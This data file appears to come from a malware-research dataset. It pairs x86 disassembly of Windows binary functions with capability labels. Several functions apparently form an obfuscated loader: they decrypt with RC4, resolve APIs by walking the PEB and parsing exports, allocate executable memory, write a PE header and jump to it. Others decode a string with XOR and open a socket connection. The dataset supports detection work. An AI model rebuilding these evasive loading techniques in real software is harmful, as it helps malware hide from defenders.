joyce8/EMBER2024-capa huggingface dataset:
Function at 0x101c1924
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1021abd4]
jne 0x101c192e
repz ret
jmp fcn.101c2db5

Function at 0x101c3279
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.101c134a
and dword [ebp - 4], 0
cmp dword [0x1021c6a8], 0
mov ebx, eax
jne 0x101c332a
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x101c33db
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x101c33db
push eax
call fcn.101c12d8
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x1021c6a8], eax
call esi
push eax
call fcn.101c12d8
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x1021c6ac], eax
call esi
push eax
call fcn.101c12d8
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x1021c6b0], eax
call esi
push eax
call fcn.101c12d8
pop ecx
mov dword [0x1021c6b8], eax
test eax, eax
je 0x101c332a
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.101c12d8
pop ecx
mov dword [0x1021c6b4], eax
mov eax, dword [0x1021c6b4]
cmp eax, ebx
je 0x101c3382
cmp dword [0x1021c6b8], ebx
je 0x101c3382
push eax
call fcn.101c1353
push dword [0x1021c6b8]
mov esi, eax
call fcn.101c1353
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x101c3382
test edi, edi
je 0x101c3382
call esi
test eax, eax
je 0x101c3379
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x101c3379
test byte [ebp - 0xc], 1
jne 0x101c3382
or dword [ebp + 0x10], 0x200000
jmp 0x101c33bb
mov eax, dword [0x1021c6ac]
cmp eax, ebx
je 0x101c33bb
push eax
call fcn.101c1353
pop ecx
test eax, eax
je 0x101c33bb
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x101c33bb
mov eax, dword [0x1021c6b0]
cmp eax, ebx
je 0x101c33bb
push eax
call fcn.101c1353
pop ecx
test eax, eax
je 0x101c33bb
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x1021c6a8]
call fcn.101c1353
pop ecx
test eax, eax
je 0x101c33db
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x101c33dd
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x101c5d01
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov edi, dword [0x1021a80c]
add edi, 0x2307
mov dword [0x1021a808], edi
mov dword [0x1021a814], 0
mov byte [0x1021a818], 0
mov dword [0x1021a80c], 0x1492
mov dword [0x1021a810], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x101c5d6b
mov dword [0x1021a810], 0
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x101c5da7
mov eax, dword [ebp - 0x1c]
mov dword [0x1021a80c], 0x11fa
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov dword [0x1021a808], 0xfffff39e
mov eax, dword [0x1021a810]
add eax, 1
mov dword [0x1021a810], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x101c5d6b
jmp 0x101c5d5a
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x1021a81c], 0
mov dword [ebp - 0x24], eax
xor edx, edx
mov esi, dword [ebp - 0x10]
div esi
mov dword [0x1021a808], 0x113b
mov edi, dword [0x1021a814]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x24]
movzx esi, byte [ebx + esi]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x1021a81c], esi
mov dword [0x1021a80c], 0x977
mov eax, esi
cdq
idiv ecx
mov dword [0x1021a814], edx
mov dword [0x1021a808], 0x182
mov ecx, dword [ebp - 0x24]
mov cl, byte [ebx + ecx]
mov byte [0x1021a818], cl
mov cl, byte [ebx + edx]
mov edx, dword [ebp - 0x24]
mov byte [ebx + edx], cl
mov cl, byte [0x1021a818]
mov esi, dword [0x1021a814]
mov byte [ebx + esi], cl
mov dword [0x1021a80c], 0x1ee0
mov esi, dword [0x1021a810]
add esi, 1
mov dword [0x1021a810], esi
cmp esi, 0x100
mov dword [ebp - 0x20], esi
jl 0x101c5da7
mov dword [0x1021a80c], 0x5b8
mov eax, dword [0x1021a808]
add eax, 0x1964
mov dword [0x1021a808], eax
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x101c62ee
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x54
mov eax, dword [ebp + 8]
mov dword [0x1021a808], 0x2289
mov dword [ebp - 0x10], eax
call fcn.101c58b5
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov edi, edx
add edi, esi
mov esi, dword [eax + esi]
cmp esi, 0x4550
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], edi
je 0x101c6334
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x78]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
add ecx, dword [edx + eax + 0x20]
mov dword [0x1021a808], 0x5d8
mov esi, dword [edx + eax + 0x24]
mov dword [0x1021a80c], 0xa39
mov edi, dword [edx + eax + 0x18]
cmp edi, 0
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x34], ebx
je 0x101c6473
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x2c]
add ecx, edx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], eax
jmp 0x101c63cd
mov eax, dword [ebp - 0x40]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x24]
add edx, 0x1c
mov esi, dword [ebp - 0x1c]
add esi, edx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x48], esi
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x48]
add eax, dword [ecx]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x44]
add edx, dword [eax + esi*4]
mov dword [0x1021a808], 0xf
mov dword [ebp - 0x34], edx
jmp 0x101c6473
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
xor edx, edx
mov esi, dword [ebp - 0x28]
mov edi, dword [esi + eax*4]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0x54]
mov ecx, eax
mov edx, dword [ebp - 0x50]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x58], eax
mov byte [ebp - 0x59], bh
mov byte [ebp - 0x5a], cl
je 0x101c643e
mov eax, dword [ebp - 0x58]
add eax, 1
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x60]
cmp eax, 0x20
setb cl
mov dl, byte [ebp - 0x59]
cmp dl, 0
setne ch
mov dh, byte [ebp - 0x5a]
and dh, ch
and dh, cl
test dh, 1
mov dword [ebp - 0x54], eax
jne 0x101c63e7
mov al, byte [ebp - 0x5a]
test al, 1
jne 0x101c6390
jmp 0x101c644b
xor eax, eax
mov ecx, dword [ebp - 0x40]
add ecx, 2
mov edx, dword [ebp - 0x4c]
add edx, 1
mov esi, dword [ebp - 0x30]
cmp edx, esi
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x34], eax
jb 0x101c63cd
mov eax, dword [ebp - 0x34]
add esp, 0x54
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x101c64dd
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x34
mov dword [ebp - 8], 0
mov dword [0x1021a80c], 0x4f5
mov eax, dword fs:[0x30]
mov dword [ebp - 8], eax
xor ecx, ecx
mov dword [0x1021a808], 0x650
mov edx, dword [ebp - 8]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], ecx
jmp 0x101c6586
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
mov edx, ecx
add edx, 0xffffde47
mov dword [0x1021a80c], edx
mov edx, dword [ebp - 0x10]
cmp word [edx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], ecx
je 0x101c65f1
jmp 0x101c6575
mov eax, dword [ebp - 0x24]
add eax, 0xffffff23
mov dword [0x1021a808], eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x16], 0x61
je 0x101c6609
jmp 0x101c6575
mov eax, dword [ebp - 0x28]
add esp, 0x34
pop esi
pop ebp
ret
xor eax, eax
mov dword [0x1021a80c], 0x1280
mov dword [ebp - 0x28], eax
jmp 0x101c656c
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
cmp word [ecx + eax*2], 0
mov dword [ebp - 0x2c], eax
jne 0x101c65b0
mov eax, dword [0x1021a80c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], ecx
jmp 0x101c651e
mov dword [0x1021a80c], 0xab6
mov eax, dword [ebp - 0x2c]
add eax, 1
cmp eax, 0x104
setl cl
mov dword [ebp - 0x34], eax
mov byte [ebp - 0x35], cl
mov eax, 0xab6
mov cl, byte [ebp - 0x35]
test cl, 1
mov edx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], esi
jne 0x101c6586
jmp 0x101c651e
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x18], 0x6f
je 0x101c654a
jmp 0x101c6575
mov dword [0x1021a808], 0xe50
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x14], 0x64
jne 0x101c6575
mov dword [0x1021a808], 0x1419
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x12], 0x64
jne 0x101c6575
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x10], 0x6c
jne 0x101c6575
mov eax, 1
mov dword [0x1021a80c], 0x7a0
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x20]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x28], eax
je 0x101c656c
jmp 0x101c6575
Function at 0x101c6680
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
lea edx, [0x101c8685]
mov esi, 0xe
lea edi, [ebp - 0x28]
mov dword [0x1021a808], 0x117a
mov dword [0x1021a80c], 0x2413
mov dword [esp], edi
mov dword [esp + 4], edx
mov dword [esp + 8], 0xe
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x38], esi
call fcn.101c6b98
mov dword [0x1021a80c], 0x182b
mov dword [0x1021a808], 0xee1
call fcn.101c6ee6
mov dword [esp], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
call fcn.101c5a22
xor ecx, ecx
cmp eax, 0
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], ecx
je 0x101c67c8
jmp 0x101c672d
mov eax, dword [ebp - 0x44]
add eax, 0x2161
mov dword [ebp - 0x48], eax
mov dword [0x1021a808], 0x13f8
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x40], eax
jmp 0x101c67c8
mov eax, dword [ebp - 0x3c]
mov dword [0x1021a80c], 0x686
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [0x1021a80c], 0x1c5a
mov dword [esp], eax
mov ecx, dword [ebp - 0x2c]
mov dword [esp + 4], ecx
mov dword [ebp - 0x44], eax
call fcn.101c5bc2
xor eax, eax
mov ecx, dword [ebp - 0x44]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov dword [0x1021a80c], 0x145
mov edx, dword [ebp - 0x30]
mov dword [edx + 0x20], ecx
mov ecx, dword [ebp - 0x44]
mov dword [edx + 0x1c], ecx
mov dword [0x1021a808], 0x640
cmp ecx, 0
mov dword [ebp - 0x40], eax
jne 0x101c670d
mov eax, dword [ebp - 0x40]
add esp, 0x50
pop esi
pop edi
pop ebp
ret
Function at 0x101c6941
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov ebx, dword [0x1021a808]
add ebx, 0x510
mov dword [0x1021a80c], ebx
mov dword [0x1021a810], 0
mov dword [0x1021a814], 0
mov dword [0x1021a820], 0
mov dword [0x1021a808], 0x16c5
cmp eax, 0
mov ebx, edi
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
je 0x101c6ae7
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
mov dword [0x1021a80c], 0x47c
add ecx, 1
mov dword [ebp - 0x2c], eax
mov eax, ecx
mov dword [ebp - 0x30], edx
cdq
idiv esi
mov dword [0x1021a810], edx
mov dword [0x1021a808], 0xd85
mov ecx, dword [ebp - 0x20]
movzx edi, byte [ecx + edx]
mov ebx, dword [ebp - 0x30]
add edi, ebx
mov eax, edi
mov dword [ebp - 0x34], edx
cdq
idiv esi
mov dword [0x1021a814], edx
mov dword [0x1021a808], 0x237c
mov esi, dword [ebp - 0x34]
mov cl, byte [ecx + esi]
mov byte [0x1021a818], cl
mov dword [0x1021a80c], 0x46d
mov edi, dword [ebp - 0x20]
mov cl, byte [edi + edx]
mov byte [edi + esi], cl
mov dword [0x1021a80c], 0x7f8
mov cl, byte [0x1021a818]
mov edx, dword [0x1021a814]
mov byte [edi + edx], cl
mov dword [0x1021a808], 0x14d6
mov edx, dword [0x1021a810]
movzx edx, byte [edi + edx]
mov ebx, dword [0x1021a814]
movzx ebx, byte [edi + ebx]
add ebx, edx
mov dword [0x1021a80c], 0x16e2
and ebx, 0xff
mov dword [0x1021a820], ebx
mov dword [0x1021a808], 0xaf
mov cl, byte [edi + ebx]
mov edx, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x2c]
mov ch, byte [edx + ebx]
mov byte [0x1021a825], ch
mov byte [0x1021a826], cl
xor ch, cl
mov byte [0x1021a824], ch
mov dword [0x1021a808], 0xa4e
mov edx, dword [ebp - 0x1c]
mov byte [edx + ebx], ch
add ebx, 1
mov edx, dword [ebp - 0x10]
cmp ebx, edx
mov dword [ebp - 0x38], ebx
je 0x101c6ae7
mov eax, dword [0x1021a810]
mov ecx, dword [0x1021a814]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x28], edx
jmp 0x101c69b6
mov dword [0x1021a808], 0xb72
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x101c6c6a
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
mov eax, dword [0x1021a808]
add eax, 0xffffddc7
mov dword [0x1021a808], eax
call fcn.1000107a
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x24], ecx
je 0x101c6cd9
jmp 0x101c6df4
mov eax, dword [esp + 0x20]
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x7c], edx
mov dword [0x1021a808], 0xebf
call fcn.101c64dd
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x18], ecx
je 0x101c6dae
jmp 0x101c6dec
lea eax, [esp + 0x28]
lea ecx, [esp + 0x38]
mov edx, dword [0x1021a80c]
add edx, 0xffffd0b8
mov dword [0x1021a808], edx
mov dword [esp], eax
mov dword [esp + 0x14], ecx
call fcn.101c5e88
lea ecx, [0x101c647e]
mov edx, dword [esp + 0x28]
mov dword [esp + 0x68], edx
mov dword [esp + 0x88], 0x11a800
mov dword [0x1021a80c], 0x1eb7
mov edx, dword [0x1021a7f4]
mov dword [esp + 0x44], edx
mov edx, dword [0x1021a7f8]
mov dword [esp + 0x84], edx
mov edx, dword [0x1021a7fc]
mov dword [esp + 0x5c], edx
mov edx, dword [0x1021a800]
mov dword [esp + 0x48], edx
mov edx, dword [0x1021a804]
mov dword [esp + 0x6c], edx
mov dword [0x1021a808], 0x19e4
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], ecx
mov eax, dword [esp + 0xc]
cmp word [eax], 0x5a4d
mov dword [esp + 0x20], eax
jne 0x101c6d90
mov eax, dword [esp + 0x20]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0x1c], ecx
je 0x101c6c9c
mov eax, dword [esp + 0x20]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [0x1021a80c], 0x773
mov dword [esp + 0xc], eax
jmp 0x101c6d69
lea eax, [esp + 0x38]
mov dword [0x1021a808], 0x1b81
mov ecx, dword [esp + 0x30]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.101c6680
mov dword [0x1021a80c], 0xecc
mov ecx, esp
lea edx, [esp + 0x38]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x18]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x24]
mov esp, ebp
pop ebp
ret
Function at 0x10001000
Capabilities:
Hash data using crc32b

Disassembly:
push ebx
xor edx, edx
push edi
xor eax, eax
test dl, 1
je 0x10001010
mov eax, 0x80
mov ecx, edx
shr ecx, 1
test cl, 1
je 0x1000101c
or eax, 0x40
shr ecx, 1
test cl, 1
je 0x10001026
or eax, 0x20
shr ecx, 1
test cl, 1
je 0x10001030
or eax, 0x10
shr ecx, 1
test cl, 1
je 0x1000103a
or eax, 8
shr ecx, 1
test cl, 1
je 0x10001044
or eax, 4
shr ecx, 1
test cl, 1
je 0x1000104e
or eax, 2
test cl, 2
je 0x10001056
or eax, 1
shl eax, 0x18
mov ecx, eax
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
add eax, eax
xor ecx, eax
mov eax, ecx
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
add eax, eax
xor ecx, eax
mov eax, ecx
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
add eax, eax
xor ecx, eax
mov eax, ecx
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
add eax, eax
xor ecx, eax
xor edi, edi
mov dword [esi + edx*4], ecx
mov eax, ecx
lea ecx, [edi + 0x1f]
jmp 0x10001110
test al, 1
je 0x1000111d
mov ebx, 1
shl ebx, cl
or edi, ebx
dec ecx
shr eax, 1
cmp ecx, 0xffffffff
jg 0x10001110
mov dword [esi + edx*4], edi
inc edx
cmp edx, 0xff
jle 0x10001004
pop edi
pop ebx
ret

Function at 0x10001140
Capabilities:
Encode data using xor

Disassembly:
or eax, 0xffffffff
test ecx, ecx
je 0x10001169
push ebx
push edi
lea esp, [esp]
movzx ebx, byte [edx]
mov edi, eax
and edi, 0xff
xor edi, ebx
shr eax, 8
xor eax, dword [esi + edi*4]
inc edx
dec ecx
jne 0x10001150
pop edi
pop ebx
not eax
ret

Function at 0x10001170
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push esi
push 0x1001c644
push eax
lea eax, [ebp - 0x408]
push eax
or esi, 0xffffffff
mov dword [ebp - 0x408], 0
call dword [sym.imp.MSVCR100.dll__wfopen_s]
add esp, 0xc
test eax, eax
je 0x100011c2
or eax, 0xffffffff
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018e16
mov esp, ebp
pop ebp
ret 8
push ebx
push edi
mov ecx, dword [ebp - 0x408]
push ecx
push 0x400
lea edx, [ebp - 0x404]
push 1
push edx
call dword [sym.imp.MSVCR100.dll_fread]
add esp, 0x10
mov ecx, eax
lea edx, [ebp - 0x404]
test eax, eax
je 0x1000120a
mov edi, edi
movzx ebx, byte [edx]
mov edi, esi
and edi, 0xff
xor edi, ebx
mov ebx, dword [ebp + 8]
shr esi, 8
xor esi, dword [ebx + edi*4]
inc edx
dec ecx
jne 0x100011f0
cmp eax, 0x400
je 0x100011c4
mov eax, dword [ebp - 0x408]
push eax
call dword [sym.imp.MSVCR100.dll_fclose]
mov ecx, dword [ebp - 4]
add esp, 4
pop edi
mov eax, esi
pop ebx
xor ecx, ebp
not eax
pop esi
call fcn.10018e16
mov esp, ebp
pop ebp
ret 8
Function at 0x10001460
Capabilities:
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x198
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x198]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x10001499
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018e16
mov esp, ebp
pop ebp
ret
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x100253bc], eax
cmp eax, 0xffffffff
je 0x10001489
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
mov dword [0x100253c0], eax
test eax, eax
je 0x10001489
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov dword [0x101253cc], 0x100022d0
mov al, 1
call fcn.10018e16
mov esp, ebp
pop ebp
ret

Function at 0x100014e0
Capabilities:
Connect socket
Encode data using xor
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 8], eax
cmp dword [0x100253bc], 0xffffffff
push esi
push edi
mov esi, ecx
jne 0x10001555
push 0x100
push 0
push 0x112831a0
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
mov cl, byte [eax + 0x1001c770]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x112831a0], cl
inc eax
cmp eax, 0x100
jb 0x10001513
push 0x112831a0
push 0
mov ecx, 0x10125568
call fcn.1000aff0
add esp, 8
xor al, al
pop edi
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.10018e16
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp + 8]
mov edx, 2
push eax
mov word [ebp - 0x18], dx
call dword [sym.imp.WS2_32.dll_htons]
push esi
mov word [ebp - 0x16], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x14], eax
cmp eax, 0xffffffff
jne 0x1000159d
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x1000159d
movsx ecx, word [eax + 0xa]
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
push ecx
push eax
lea ecx, [ebp - 0x14]
push ecx
call sub.MSVCR100.dll_memcpy
add esp, 0xc
mov eax, dword [0x100253bc]
push 0x10
lea edx, [ebp - 0x18]
push edx
push eax
call dword [sym.imp.WS2_32.dll_connect]
mov esi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0xffffffff
jne 0x100015fe
call esi
cmp eax, 0x2733
je 0x100015fe
call esi
push eax
mov eax, 2
call fcn.10015770
push eax
push 0
mov ecx, 0x10125568
call fcn.1000aff0
add esp, 0xc
mov esi, 0x100253b8
call fcn.100016a0
xor al, al
pop edi
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.10018e16
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [0x100253c0]
mov edx, dword [0x100253bc]
push 0x23
push ecx
push edx
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
jne 0x10001623
call esi
push eax
mov eax, 3
jmp 0x100015cb
push 0x80000
push 0
push 0x100253c4
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x80000
push 0
push 0x100a53c8
mov dword [0x100a53c4], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x11282e48
mov ecx, 0x100253b8
mov edi, 0x10001c50
mov dword [0x101253c8], 0
call fcn.10015a60
mov ecx, dword [ebp - 8]
pop edi
mov dword [0x101253ec], eax
xor ecx, ebp
mov byte [0x101253f0], 1
mov al, 1
pop esi
call fcn.10018e16
mov esp, ebp
pop ebp
ret 4